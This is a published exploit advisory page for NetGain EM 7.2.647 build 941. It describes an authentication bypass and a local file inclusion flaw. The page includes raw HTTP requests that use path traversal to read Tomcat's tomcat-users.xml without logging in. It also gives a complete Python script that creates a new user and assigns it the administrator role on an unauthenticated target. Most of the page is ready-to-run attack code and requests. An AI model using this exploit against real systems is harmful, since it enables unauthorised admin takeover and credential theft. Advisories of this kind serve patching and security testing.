NetGain EM 7.2.647 build 941 Authentication Bypass / Local File Inclusion

2017.05.25
Credit: f3ci
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

''' # Exploit Title: Add User Account with Admin Privilege without Login & Local File Inclusion # Date: 2017-05-21 # Exploit Author: f3ci # Vendor Homepage: http://www.netgain-systems.com # Software Link: http://www.netgain-systems.com/free-edition-download/ # Version: <= v7.2.647 build 941 # Tested on: Windows 7 Add User Account with Admin Privilege without Login ---------------------------------------------- We can create user and give admin privilege to user which we have made without login. Because this app does not check the session on this request Local File Inclusion ---------------------------------------------- Normal Request: POST /u/jsp/log/download_do.jsp HTTP/1.1 Host: 192.168.0.21:8081 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.21:8081/u/index.jsp Cookie: JSESSIONID=8A172EB8DDBD08D1E6D25A1CE8CC74AC Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 18 filename=iossd.log We can download another file with change value on filename parameter and also we can send this request without login. Example: POST /u/jsp/log/download_do.jsp HTTP/1.1 Host: 192.168.0.21:8081 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.21:8081/u/index.jsp Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 18 filename=../../tomcat/conf/tomcat-users.xml ''' #!/usr/local/bin/python # Exploit Title: Add User Account with Admin Privilege without Login # Date: 2017-05-21 # Exploit Author: f3ci # Vendor Homepage: http://www.netgain-systems.com # Software Link: http://www.netgain-systems.com/free-edition-download/ # Version: <= v7.2.647 build 941 # Tested on: Windows 7 import requests import sys try: def create(): ip = str(sys.argv[1]) port = str(sys.argv[2]) user = str(sys.argv[3]) passwd = str(sys.argv[4]) print "\033[1;32m[+]\033[1;m Try to Create user" url="http://"+ip+":"+port+"/u/jsp/security/user_save_do.jsp" data= { 'new': "true", 'id': "", 'name': user, 'dname': "foobar", 'password': passwd, 'password2': passwd, 'description': "", 'emails': "foo@bar.com", 'mobileNumber': "000000", 'loginAttempts': "5", } response = requests.post(url, data=data) status = response.status_code if status == 200: print "\033[1;32m[+]\033[1;m Success!!" role() else: print "\033[91m[-]\033[91;m Create User Failed" def role(): ip = str(sys.argv[1]) port = str(sys.argv[2]) user = str(sys.argv[3]) passwd = str(sys.argv[4]) print "\033[1;32m[+]\033[1;m Get admin role" url="http://"+ip+":"+port+"/u/jsp/security/role_save_do.jsp" data= { 'name': "admin", 'description': "Administrator", 'users': [user,"admin"], } response = requests.post(url, data=data) status = response.status_code if status == 200: print "\033[1;32m[+]\033[1;m Success!!" print "\033[1;32m[+]\033[1;m Login with user:" +user+ " password:" + passwd else: print "\033[91m[-]\033[91;m Get admin role Failed" create(); except: print "\033[91m[!]\033[91;m Usage: %s <IP> <port> <username> <password>" % str(sys.argv[0]) print "\033[91m[!]\033[91;m Ex: %s 127.0.0.1 8081 foobar passw0rd" % str(sys.argv[0])


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top